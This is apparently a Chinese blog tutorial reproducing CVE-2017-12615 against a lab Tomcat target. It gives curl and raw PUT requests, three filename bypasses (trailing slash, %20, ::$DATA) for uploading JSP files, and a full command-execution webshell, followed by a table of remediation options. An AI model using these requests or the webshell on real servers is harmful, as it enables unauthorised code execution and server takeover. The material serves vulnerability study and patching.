CVE-2017-12615漏洞复现

发表于
38 3.5~4.5 分钟 1574

漏洞描述

这是一个关于 Tomcat 任意文件上传的漏洞,在 Tomcat 中启用 PUT 方法会导致任意文件可以上传,从而导致服务器权限被获取。2017 年 9 月 19 日,Apache Tomcat 官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞 (CVE-2017-12615)。

当存在漏洞的 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

漏洞复现

先启动靶机,访问对应的 IP: 端口。

请求头的格式如下:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

上述成功以后,就会在目标的 web 服务器目录生成一个内容为 shell 的 1.jsp 文件,接下来只需要将里面的内容改为 shell 代码就行了。

使用 burp 抓包修改请求头, 将 GET 改为 PUT,修改请求的文件名就是上传的文件名,在 POST 传输数据传入 jsp 木马内容,请求的地址为想要写入的文件名,例如这里是 /1.jsp,为什么要加入 /1.jsp/ 呢?

是因为 tomcat 解析到后缀名为 jsp 或者 jspx 的时候会交给 JspServlet,最后的 / 是因为文件名特性最后不支持 / 默认会去除就可以绕过 JspServlet 文件的解析。

接下来修改 1.jsp 文件内容,使用 bp 抓包修改请求头, 继续利用 PUT 方法写入 jsp 木马。上传成功后利用工具进行连接。

连接成功,拿到系统权限!

漏洞原理解析

攻击探测

探测PUT方法是否开启

使用 curl 或者 Burpsuite 向目标发送测试请求:

curl -X PUT http://your-ip:8080/test.txt -d "test data"
  • 如果返回201或者204,则说明PUT 方法可用,且文件上传成功。这是攻击的前提

  • 如果返回405403,则说明目标可能安全,攻击无法继续

尝试直接上传jsp

这是关键的一步,用来试探默认的安全机制是否工作

curl -X PUT http://your-ip:8080/shell.jsp -d "<% out.println(\"test\"); %>"

预期结果:你会收到一个 403 Forbidden 错误。 这证明 DefaultServlet 的安全检查拦住了你,迫使你必须使用“诡计”绕过

实施绕过

以下三种方法,任意一种就可以。

方法一:斜杠绕过

curl -X PUT http://your-ip:8080/shell.jsp/ -d "<% out.println(\"Hello from JSP!\"); %>"

重点:注意 URL 中 shell.jsp 后面的那个斜杠 /

成功响应:HTTP/1.1 201 Created

原理:检查时路径以/结尾,不是.jsp;存储时 Java 规范化路径移除末尾/,文件变成shell.jsp

方法二:空格绕过

curl -X PUT http://your-ip:8080/shell.jsp%20 -d "<% out.println(\"Hello from JSP!\"); %>"

成功响应:HTTP/1.1 201 Created

原理:检查时文件名是 shell.jsp%20;Windows 存储时自动去除末尾空格,文件变成 shell.jsp

方法三:NTFS数据流绕过

curl -X PUT http://your-ip:8080/shell.jsp::$DATA -d "<% out.println(\"Hello from JSP!\"); %>"

成功响应:HTTP/1.1 201 Created

原理:::$DATA 是 NTFS 流标识,在文件创建时会被系统忽略

重要提示:如果服务器是 Linux 系统的话,只有方法一可以成功复现,方法二方法三是 Windows 特有的方法!

验证与利用

将上述的测试 payload 换成真实的 payload,例如一个简单的命令执行后门。

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

此时,利用 curl 命令发送请求,你将在响应体看到 uid=0(root) gid=0(root) groups=0(root) 之类的系统命令执行结果,标志着已完全控制服务器!

流程图

此漏洞复现完整流程图如下:

漏洞修复

此漏洞核心修复方案是阻止攻击者上传和执行恶意 JSP 文件。官方和相关安全机构提供了从根本修复到临时缓解的多层方案,可以参考下面的对比信息,根据实际情况选择

修复等级

方案名称

具体措施

优点

缺点

根本修复

升级至安全版本

将 Tomcat 升级到官方修复版本

一劳永逸,彻底解决漏洞及后续绕过问题

需要安排停机维护,存在一定的升级成本

配置加固 (核心)

恢复默认安全配置

确保 conf/web.xml DefaultServlet readonly 参数为 true

快速、有效,直接修复漏洞根源。绝大多数默认安装不受此漏洞影响,正因该参数默认为 true

需重启服务。如果业务依赖 readonly=false 功能(如 WebDAV),则此方法不适用

临时缓解

禁用 HTTP PUT 方法

在应用或网络层面禁止 PUT 请求

可快速阻断攻击路径

可能影响正常业务,如依赖 PUT 方法的 RESTful API 或文件上传功能。属于“治标”方案

防御纵深

部署 WAF 等外部防护

使用 Web 应用防火墙进行规则防护

提供额外防护层,可防御未知绕过手法

无法根治漏洞本身,可能被绕过。是辅助手段,不应替代修复

安全加固

遵循最小权限原则

从整体上降低 Tomcat 服务权限

即使被入侵,也能极大限制攻击者造成的破坏

是长期安全最佳实践,但需结合上述措施一同实施

总而言之,对于大多数默认安装的用户来说,只需确认 readonly 配置未被错误修改即可安全。如果曾经手动启用过写入功能,则应优先通过修正配置或升级版本来彻底解决。